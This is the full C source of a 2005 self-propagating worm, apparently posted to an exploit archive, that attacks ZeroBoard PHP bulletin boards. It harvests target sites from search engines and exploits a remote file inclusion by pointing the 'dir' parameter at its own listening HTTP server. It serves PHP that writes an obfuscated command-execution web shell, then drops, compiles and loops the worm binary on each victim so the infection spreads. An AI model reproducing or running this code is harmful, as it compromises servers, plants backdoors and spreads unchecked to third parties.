ZeroBoard Worm Source Code/* 
The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. 

/str0ke
*/

/*
** ZeroBoard -1day INE w0rm
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <net/if.h>
#ifdef __sun__
#include <sys/sockio.h>
#endif /* __SunOS__ */

#define DEBUG_ING
#undef DEBUG_ING

#define TMP_FILE `./tmp.core`
#define CMD_FILE `./cmd.core`
#define PRC_FILE `./proc.core`
#define SCS (0)
#define MIN (1)

#ifdef __linux__
#define DEF_ETH `eth0`
#else
#ifdef __FreeBSD__
#define DEF_ETH `ed0`
#else
#ifdef __sun__
#define DEF_ETH `hme0`
#endif
#endif
#endif

#define MAX_BUF (0x0000ffff)
#define FIR_BUF (0x00000800)
#define SEC_BUF (0x00000400)
#define THR_BUF (0x00000200)
#define MIN_BUF (0x00000100)

#define VENDOR `nzeo.com`

// search rule
#define FD_RULE_0 `/zboard/zboard.php`
#define FD_RULE_1 `/zb41/zboard.php`
#define FD_RULE_2 `/bbs/zboard.php`
#define FD_RULE_3 `/zb/zboard.php`
#define FD_RULE_4 `/zb40/zboard.php`
#define FD_RULE_5 `/board/zboard.php`
#define FD_RULE_6 `zboard.php`
#define FD_RULE_7 `zboard.ph`

// pattern
#define FD_PATH_0 `/zboard/skin/zero_vote/login.php`
#define FD_PATH_1 `/zb41/skin/zero_vote/login.php`
#define FD_PATH_2 `/bbs/skin/zero_vote/login.php`
#define FD_PATH_3 `/zb/skin/zero_vote/login.php`
#define FD_PATH_4 `/zb40/skin/zero_vote/login.php`
#define FD_PATH_5 `/board/skin/zero_vote/login.php`
#define FD_PATH_6 `/skin/zero_vote/login.php`

#define RESULT_OK `200 OK`
#define MAKE_STR1 `BACKDOOR MAKE SUCCESS`
#define MAKE_STR2 `ZBCODE MAKE SUCCESS`
#define DELT_STR1 `BACKDOOR DELETE SUCCESS`
#define DELT_STR2 `ZBCODE DELETE SUCCESS`

#define DEF_PORT (31337)
#define CONN_PORT (80)
#define DEF_TIME (20)

int set_sock(char *sc_gt_host,int port,int type);
void re_connt_lm(int st_sock_va,int type);
int proc_r();
void t_kill();
void sf_exit();
int g_ip(char *ip);
int make_cmd_file();
int filter_f(char *test_bf,int tnum);

int sock;

struct tg_rl
{
 int r_num;
 char *r_str;
 char *url_str;
};

#define TARGET_NUM (7)
#define SEARCH_NUM (4)

struct tg_rl __tg_rule_va[]=
{
 {0,FD_RULE_0,FD_PATH_0},
 {1,FD_RULE_1,FD_PATH_1},
 {2,FD_RULE_2,FD_PATH_2},
 {3,FD_RULE_3,FD_PATH_3},
 {4,FD_RULE_4,FD_PATH_4},
 {5,FD_RULE_5,FD_PATH_5},
 {6,FD_RULE_6,FD_PATH_6},
 {7,FD_RULE_7,FD_PATH_6},
 {8,NULL,NULL}
};

struct search_rule
{
 int num;
 u_char *url;
 int maxnum;
 int defnum;
 u_char *http_head;
};

struct search_rule search_va[]=
{
 {0,`www.google.com`,990,10,`http://`},
 {1,`kr.search.yahoo.com`,990,15,`http://`},
 {2,`search.nate.com`,480,10,`http://`},
 {3,`search.lycos.com`,990,10,`//`},
 {4,`kr.altavista.com`,1000,10,`//`},
 {5,NULL,0,0,NULL}
};

void t_kill()
{
#ifdef DEBUG_ING
 fprintf(stdout,`time out\n`);
#endif
 close(sock);
 sock=-1;
 signal(SIGALRM,SIG_DFL);
 return;
}

void sf_exit()
{
#ifdef DEBUG_ING
 fprintf(stdout,`safe exit\n`);
#endif
 close(sock);
 kill((int)proc_r(),9);
 unlink(TMP_FILE);
 unlink(CMD_FILE);
 unlink(PRC_FILE);
 exit(-1);
}

int main(int argc,char *argv[])
{
 FILE *fp;

 int tnum=(SCS);
 int chk=(SCS);
 int gogo=(SCS);
 int whgl=(SCS);
 int qnum=(SCS);
 int tgrl_sl=(MIN);
 int _conn_num=(SCS);
 int port=(CONN_PORT);
 int def_port=(DEF_PORT);
 int sc_gt_sock;
 int host_chk=(SCS);

 u_char *gg_ptr=NULL;
 u_char *t_ptr=NULL;
 u_char __zr_bf[(MAX_BUF)];
 u_char *port_ptr=NULL;

 char pkt[(FIR_BUF)];
 char host[(SEC_BUF)];
 char url[(SEC_BUF)];
 char test_bf[(MAX_BUF)];
 char req_t_bf[(THR_BUF)];
 char ip[(MIN_BUF)];
 char atk_code[(MIN_BUF)];

 signal(SIGINT,sf_exit);
 signal(SIGTSTP,sf_exit);

 while((whgl=getopt(argc,argv,`S:s:T:t:Q:q:P:p:H:h:U:u:`))!=EOF)
 {
  extern char *optarg;
  switch(whgl)
  {
   case 'S':
   case 's':
    tnum=atoi(optarg);
    if(SEARCH_NUM<tnum)
    {
     fprintf(stderr,`target error\n`);
     exit(-1);
    }
    break;

   case 'T':
   case 't':
    tgrl_sl=atoi(optarg);
    if(TARGET_NUM<tgrl_sl)
    {
     fprintf(stderr,`target error\n`);
     exit(-1);
    }
    break;

   case 'Q':
   case 'q':
    qnum=atoi(optarg);
    break;
    
   case 'P':
   case 'p':
    def_port=atoi(optarg);
    break;
    
   case 'H':
   case 'h':
    memset((char *)host,0,sizeof(host));
    strncpy(host,optarg,sizeof(host)-1);
    host_chk++;
    break;
    
   case 'U':
   case 'u':
    memset((char *)url,0,sizeof(url));
    strncpy(url,optarg,sizeof(url)-1);
    host_chk++;
    break;
    
   default:
    exit(-1);
  }
 }

 (int)make_cmd_file();

 if(fork()==0)
 {
  signal(SIGALRM,SIG_IGN);
  for(whgl=0;whgl<argc;whgl++)
  {
   memset((char *)argv[whgl],0,strlen(argv[whgl]));
  }
  strcpy(argv[0],`receive mode process`);
  if((fp=fopen(PRC_FILE,`w`))==NULL)
  {
   sf_exit();
  }
  fprintf(fp,`%d\n`,getpid());
  fclose(fp);
  sc_gt_sock=(int)set_sock(NULL,def_port,1);
  (void)re_connt_lm(sc_gt_sock,0);
 }
 else
 {
  for(whgl=0;whgl<argc;whgl++)
  {
   memset((char *)argv[whgl],0,strlen(argv[whgl]));
  }
  strcpy(argv[0],`scanning mode process`);

  switch(host_chk)
  {
   case 1:
#ifdef DEBUG_ING
    fprintf(stdout,`argument error\n`);
#endif
    sf_exit();
    break;
    
   case 2:
    goto ok;
    break;
  }

#ifdef DEBUG_ING
  fprintf(stdout,`search url: %s\n`,search_va[tnum].url);
#endif
  for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += (search_va[tnum].defnum))
  {
conn: if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1)
   {
    goto conn;
   }

   memset((char *)req_t_bf,0,sizeof(req_t_bf));
   switch(search_va[tnum].num)
   {
    case 0:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      `GET /search?q=%s`
      `&amp;hl=ko&amp;lr=&amp;ie=UTF-8&amp;start=%d&amp;sa=N `
      `HTTP/1.0\r\n\r\n`,(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 1:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      `GET /search/web?p=%s&amp;b=%d `
      `HTTP/1.0\r\n\r\n`,(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 2:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      `GET /webpage/search.asp?query=%s&amp;start=%d `
      `HTTP/1.0\r\n\r\n`,(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 3:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      `GET /default.asp?query=%s&amp;first=%d&amp;pmore=more `
      `HTTP/1.0\r\n`
      `Accept-Language: ko\r\n`
      `User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n`
      `Host: %s\r\n\r\n`,(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
     break;
    case 4:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      `GET /web/results?itag=wrx&amp;q=%s&amp;stq=%d `
      `HTTP/1.0\r\n`
      `Accept-Language: ko\r\n`
      `User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n`
      `Host: %s\r\n\r\n`,(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
     break;
   }
   send(sock,req_t_bf,strlen(req_t_bf),0);
   whgl=(SCS);

   if((fp=fopen(TMP_FILE,`w`))==NULL)
   {
    return(-1);
   }
   signal(SIGALRM,SIG_IGN);
   alarm(MAX_BUF);
   
   memset((char *)test_bf,0,sizeof(test_bf));
   while(recv(sock,test_bf,sizeof(test_bf)-1,0))
   {
    fprintf(fp,`%s`,test_bf);
    memset((char *)test_bf,0,sizeof(test_bf));
   }
   fclose(fp);
   close(sock);

   if((fp=fopen(TMP_FILE,`r`))==NULL)
   {
    return(-1);
   }

   while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp))
   {
    gg_ptr=__zr_bf;

    while(MIN)
    {
     t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head);
     gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);

     if(t_ptr!=NULL)
     {
      memset((char *)test_bf,0,sizeof(test_bf));
      whgl=(SCS);
      chk=(SCS);

      for(gogo=0;gogo<strlen(t_ptr);gogo++)
      {
       if(chk)
       {
        if(t_ptr[gogo]=='>')
         chk=0;
       }
       else {
        if(t_ptr[gogo]==' ')
         continue;
        else if(t_ptr[gogo]=='<')
         chk=1;
        else test_bf[whgl++]=t_ptr[gogo];
       }
      }

      if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str))
       continue;
      else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str);

      if(t_ptr!=NULL)
       t_ptr[0]='\0';
      else continue;

      if(filter_f(test_bf,tnum))
      {
       t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
       if(strstr(t_ptr,search_va[tnum].http_head))
        continue;

       memset((char *)host,0,sizeof(host));
       memset((char *)url,0,sizeof(url));

       chk=(SCS);

       if(strstr(test_bf,search_va[tnum].http_head))
       {
        t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
        port=(CONN_PORT);

        for(whgl=0;whgl<strlen(t_ptr)+1;whgl++)
        {
         if(t_ptr[whgl]=='/')
         {
          for(gogo=0;whgl<strlen(t_ptr);whgl++)
           url[gogo++]=t_ptr[whgl];
          strcat(url,__tg_rule_va[tgrl_sl].url_str);
          break;
         }
         else if(t_ptr[whgl]=='\0')
         {
          strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1);
          break;
         }
         else if(t_ptr[whgl]==':')
         {
          port_ptr=(char *)strstr(t_ptr,`:`)+1;
          port=atoi(port_ptr);
         }
         else host[chk++]=t_ptr[whgl];
        }
#ifdef DEBUG_ING
        fprintf(stdout,`Total:%s,URL:%s,HOST:%s,PORT:%d\n`,test_bf,url,host,port);
#endif
ok:
        sock=set_sock(host,port,0);
        if(sock==-1)
         continue;
        else {
         memset((char *)ip,0,sizeof(ip));
         memset((char *)atk_code,0,sizeof(atk_code));
         memset((char *)pkt,0,sizeof(pkt));

         (int)g_ip(ip);
         snprintf(atk_code,sizeof(atk_code)-1,`dir=http://%s:%d/\r\n`,ip,def_port);
         snprintf(pkt,sizeof(pkt)-1,
          `POST http://%s%s HTTP/1.0\r\n`
          `Content-Type: application/x-www-form-urlencoded\r\n`
          `Content-Length: %d\r\n`
          `Host: %s\r\n\r\n%s\r\n`,host,url,strlen(atk_code),host,atk_code);
         send(sock,pkt,strlen(pkt),0);
         memset((char *)pkt,0,sizeof(pkt));
         recv(sock,pkt,sizeof(pkt)-1,0);
#ifdef DEBUG_ING
         if(strstr(pkt,RESULT_OK))
         {
          if(strstr(pkt,MAKE_STR1))
           fprintf(stdout,`%s\n`,MAKE_STR1);
          if(strstr(pkt,MAKE_STR2))
           fprintf(stdout,`%s\n`,MAKE_STR2);
          if(strstr(pkt,DELT_STR1))
           fprintf(stdout,`%s\n`,DELT_STR1);
          if(strstr(pkt,DELT_STR2))
           fprintf(stdout,`%s\n`,DELT_STR2);
          printf(`%s: %s\n`,RESULT_OK,host);
         }
#endif
        }
        close(sock);

        if(host_chk)
        {
         sf_exit();
        }
       }
      }
     }
     else break;
    }
    memset((char *)__zr_bf,0,sizeof(__zr_bf));
   }
   fclose(fp);
   unlink(TMP_FILE);
  }
  sf_exit();
 }
}

int set_sock(char *sc_gt_host,int port,int type)
{
 struct sockaddr_in sock_st;
 struct sockaddr_in t_st;
 int nw_gt_sock,s_s;
 struct hostent *hst_etr;
 int sc_gt_sock;
 int t_c=0;
 char t_b[(SEC_BUF)];
 FILE *fp;
 char http_rq[]=`HTTP/1.1 200 OK\r\n\r\n`;

 if(!type){
  signal(SIGALRM,t_kill);
  alarm(DEF_TIME);

  if((hst_etr=gethostbyname(sc_gt_host))==NULL)
  {
   return(-1);
  }
  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  {
   return(-1);
  }
  sock_st.sin_family=(AF_INET);
  sock_st.sin_port=htons(port);
  sock_st.sin_addr=*((struct in_addr *)hst_etr->h_addr);
  memset(&amp;(sock_st.sin_zero),0,8);

  if(connect(sock,(struct sockaddr *)&amp;sock_st,sizeof(struct sockaddr))==-1)
  {
   close(sock);
   return(-1);
  }
  return(sock);
 }
 else{
  if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  {
   return(-1);
  }

  sock_st.sin_family=(AF_INET);
  sock_st.sin_port=htons(port);
  sock_st.sin_addr.s_addr=(INADDR_ANY);
  memset(&amp;(sock_st.sin_zero),0,8);

  if(bind(sc_gt_sock,(struct sockaddr *)&amp;sock_st,sizeof(struct sockaddr))==-1)
  {
   close(sc_gt_sock);
   return(-1);
  }
#define BK_LG 10
  if(listen(sc_gt_sock,(BK_LG))==-1){
   close(sc_gt_sock);
   return(-1);
  }
  while(1){
   s_s=sizeof(struct sockaddr_in);
   if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&amp;t_st,&amp;s_s))==-1)
   {
    close(nw_gt_sock);
    close(sc_gt_sock);
    return(-1);
   }
   while(recv(nw_gt_sock,&amp;t_c,1,0)){
    if(t_c==0x0d){
     recv(nw_gt_sock,&amp;t_c,1,0);
     if(t_c==0x0a){
      recv(nw_gt_sock,&amp;t_c,1,0);
      if(t_c==0x0d){
       recv(nw_gt_sock,&amp;t_c,1,0);
       if(t_c==0x0a){
        break;
       }
      }
     }
    }
   }

   send(nw_gt_sock,http_rq,strlen(http_rq),0);
   if((fp=fopen(CMD_FILE,`r`))==NULL){
    close(nw_gt_sock);
    close(sc_gt_sock);
    return(-1);
   }
   memset((char *)t_b,0,sizeof(t_b));
   while(fgets(t_b,sizeof(t_b)-1,fp)){
    send(nw_gt_sock,t_b,strlen(t_b),0);
   }
   fclose(fp);
   close(nw_gt_sock);
   continue;
  }
  close(sc_gt_sock);
  return(-1);
 }
}

void re_connt_lm(int st_sock_va,int type)
{
 if(st_sock_va==-1)
 {
  if(!type){
   kill(getppid(),9); // parent
  }
  kill((int)proc_r(),9); // child
  sf_exit();
 }
}

int proc_r(){
 FILE *fp;
 int proc_n;
 if((fp=fopen(PRC_FILE,`r`))==NULL){
  exit(-1); // child check.
 }
 fscanf(fp,`%16d`,&amp;proc_n);
 fclose(fp);
 return proc_n;
}

int g_ip(char *ip)
{
 int sock;
 struct ifreq ifpq;
 struct sockaddr_in *pq;

 memset(&amp;ifpq,0,sizeof(ifpq));
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
 {
  return(-1);
 }
 pq=(struct sockaddr_in *)&amp;ifpq.ifr_addr;
 pq->sin_family=AF_INET;
 
 memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name));
 if(ioctl(sock,SIOCGIFADDR,&amp;ifpq)==0)
 {
  memset((char *)ip,0,(MIN_BUF));
  snprintf(ip,(MIN_BUF)-1,`%s`,inet_ntoa(pq->sin_addr));
 }
 return 0;
}

#define BACKDOOR_PATH `zblog.php`
#define CODE_PATH `zbcode`
#define CODE_PATH_SRC `zbcode.c`

int make_cmd_file()
{
 unsigned long w1=0;
 FILE *fp;
 FILE *pf;
 
 if((fp=fopen(CMD_FILE,`w`))==NULL)
 {
  return(-1);
 }
 
 fprintf(fp,`<?\n`
  `chdir('../../');\n\n`
  `if(($fp=fopen('%s','r'))!=NULL)\n`
  `{\n`
  `$pnum=fread($fp,32);\n`
  `fclose($fp);\n`
  `$pnum=str_replace(\`\\n\`,\`\`,$pnum);\n`
  `if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n`
  `{\n`
  `exit;\n`
  `}\n`
  `}\n\n`
  `$cont=\`\\x3c\\x3f\\x0a\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x46\`.\n`
  `\`\\x4f\\x52\\x4d\\x20\\x41\\x43\\x54\\x49\\x4f\\x4e\\x3d\\x24\`.\n`
  `\`\\x50\\x48\\x50\\x5f\\x53\\x45\\x4c\\x46\\x20\\x4d\\x45\\x54\`.\n`
  `\`\\x48\\x4f\\x44\\x3d\\x50\\x4f\\x53\\x54\\x3e\\x27\\x3b\\x0a\`.\n`
  `\`\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x49\\x4e\\x50\\x55\`.\n`
  `\`\\x54\\x20\\x54\\x59\\x50\\x45\\x3d\\x48\\x49\\x44\\x44\\x45\`.\n`
  `\`\\x4e\\x20\\x4e\\x41\\x4d\\x45\\x3d\\x63\\x6d\\x64\\x20\\x56\`.\n`
  `\`\\x41\\x4c\\x55\\x45\\x3d\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\`.\n`
  `\`\\x64\\x3e\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x3e\\x3c\\x50\\x52\`.\n`
  `\`\\x45\\x3e\\x27\\x3b\\x0a\\x09\\x24\\x63\\x6f\\x6d\\x6d\\x61\`.\n`
  `\`\\x6e\\x64\\x3d\\x73\\x74\\x72\\x5f\\x72\\x65\\x70\\x6c\\x61\`.\n`
  `\`\\x63\\x65\\x28\\x27\\x5c\\x5c\\x27\\x2c\\x27\\x27\\x2c\\x24\`.\n`
  `\`\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x29\\x3b\\x0a\\x09\\x65\`.\n`
  `\`\\x63\\x68\\x6f\\x20\\x60\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\`.\n`
  `\`\\x64\\x60\\x3b\\x0a\\x3f\\x3e\\x0a\`;\n\n`
  `$fp=fopen('%s','w');\n`
  `fputs($fp,$cont);\n`
  `fclose($fp);\n\n`,PRC_FILE,BACKDOOR_PATH);

 if((pf=fopen(CODE_PATH,`r`))==NULL)
 {
  return(-1);
 }
 
 fprintf(fp,`$cont=\``);
 while(fread(&amp;w1,1,1,pf))
 {
  fprintf(fp,`\\x%02x`,w1);
 }
 fclose(pf);
 fprintf(fp,`\`;\n\n`);
 
 fprintf(fp,`$fp=fopen('%s','w');\n`
  `fputs($fp,$cont);\n`
  `fclose($fp);\n\n`,CODE_PATH);
 if((pf=fopen(CODE_PATH_SRC,`r`))==NULL)
 {
  return(-1);
 }
 fprintf(fp,`$cont=\``);
 while(fread(&amp;w1,1,1,pf))
 {
  fprintf(fp,`\\x%02x`,w1);
 }
 fclose(pf);
 fprintf(fp,`\`;\n\n`);
 
 fprintf(fp,`$fp=fopen('%s','w');\n`
  `fputs($fp,$cont);\n`
  `fclose($fp);\n\n`,CODE_PATH_SRC);
 fprintf(fp,`$RES=`gcc -o %s %s`;\n\n`,CODE_PATH,CODE_PATH_SRC);

 fprintf(fp,`chmod('%s',0755);\n`,CODE_PATH);

 fprintf(fp,`if(($fp=fopen('%s','r'))!=NULL){\n`,BACKDOOR_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,MAKE_STR1);
 fprintf(fp,`} fclose($fp);\n\n`);
 fprintf(fp,`if(($fp=fopen('%s','r'))!=NULL){\n`,CODE_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,MAKE_STR2);
 fprintf(fp,`} fclose($fp);\n\n`);

#if 1
 fprintf(fp,`$fnum=(rand()%%%d);\n`,TARGET_NUM);
 fprintf(fp,`$snum=(rand()%%%d);\n`,SEARCH_NUM);
 fprintf(fp,`$randnum=(rand()%400);\n`);
 
 fprintf(fp,`while(1)\n{\n`);
 fprintf(fp,`if(($fp=fopen('%s','r'))!=NULL)\n`
  `{\n`
  `$pnum=fread($fp,32);\n`
  `fclose($fp);\n`
  `$pnum=str_replace(\`\\n\`,\`\`,$pnum);\n`
  `if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n`
  `{\n`
  `exit;\n`
  `}\n`
  `}\n\n`,PRC_FILE);

 fprintf(fp,`$port=(rand()%%65500);\n`);
 fprintf(fp,`if($port>1024){\n`);
 fprintf(fp,`exec(\`./%s -t $fnum -p $port -s $snum -q $randnum\`);\n`,CODE_PATH);
 fprintf(fp,`}\n}\n`);
#else
 fprintf(fp,`unlink('%s');\n`,BACKDOOR_PATH);
 fprintf(fp,`unlink('%s');\n`,CODE_PATH);

 fprintf(fp,`if(($fp=fopen('%s','r'))==NULL){\n`,BACKDOOR_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,DELT_STR1);
 fprintf(fp,`} else { fclose($fp);\n`);
 fprintf(fp,`$result=`rm -f %s`;\n$result=`del %s`;\n`,BACKDOOR_PATH,BACKDOOR_PATH);
 fprintf(fp,`if(($fp=fopen('%s','r'))==NULL){\n`,BACKDOOR_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,DELT_STR1);
 fprintf(fp,`}\n}\n`);

 fprintf(fp,`if(($fp=fopen('%s','r'))==NULL){\n`,CODE_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,DELT_STR2);
 fprintf(fp,`} else { fclose($fp);\n`);
 fprintf(fp,`$result=`rm -f %s`;\n$result=`del %s`;\n`,CODE_PATH,CODE_PATH);
 fprintf(fp,`if(($fp=fopen('%s','r'))==NULL){\n`,CODE_PATH);
 fprintf(fp,`echo \`%s\\n\`;\n`,DELT_STR2);
 fprintf(fp,`}\n}\n`);
#endif
 fprintf(fp,`?>\n`);
 fclose(fp);
}

int filter_f(char *test_bf,int tnum)
{
 switch(search_va[tnum].num)
 {
  case 0: /* google */
   if(!strstr(test_bf,`google`)&amp;&amp;!strstr(test_bf,`/search?q=cache:`)
    &amp;&amp;!strstr(test_bf,`<`)&amp;&amp;!strstr(test_bf,`>`)
    &amp;&amp;!strstr(test_bf,`%3F`)&amp;&amp;!strstr(test_bf,`...`)
    &amp;&amp;!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 1: /* yahoo */
   if(!strstr(test_bf,`yahoo`)&amp;&amp;!strstr(test_bf,`/cache.php?`)
    &amp;&amp;!strstr(test_bf,`<`)&amp;&amp;!strstr(test_bf,`>`)
    &amp;&amp;!strstr(test_bf,`search`)&amp;&amp;!strstr(test_bf,`.html%`)
    &amp;&amp;!strstr(test_bf,`...`)&amp;&amp;!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 2: /* nate */
   if(!strstr(test_bf,`nate`)&amp;&amp;!strstr(test_bf,`RESULT`)
    &amp;&amp;!strstr(test_bf,`<`)&amp;&amp;!strstr(test_bf,`>`)
    &amp;&amp;!strstr(test_bf,`/search/`)&amp;&amp;!strstr(test_bf,`%3F`)
    &amp;&amp;!strstr(test_bf,`...`)&amp;&amp;!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 3: /* lycos */
   if(!strstr(test_bf,`lycos`)&amp;&amp;!strstr(test_bf,`<`)
    &amp;&amp;!strstr(test_bf,`>`)&amp;&amp;!strstr(test_bf,`%3F`)
    &amp;&amp;!strstr(test_bf,`...`)&amp;&amp;!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 4: /* altavista */
   if(!strstr(test_bf,`ref_`)&amp;&amp;!strstr(test_bf,`<`)
    &amp;&amp;!strstr(test_bf,`>`)&amp;&amp;!strstr(test_bf,`%3f`)
    &amp;&amp;!strstr(test_bf,`...`)&amp;&amp;!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  default:
   return 0;
   break;
 }
 return 0;
}

// milw0rm.com [2005-05-06]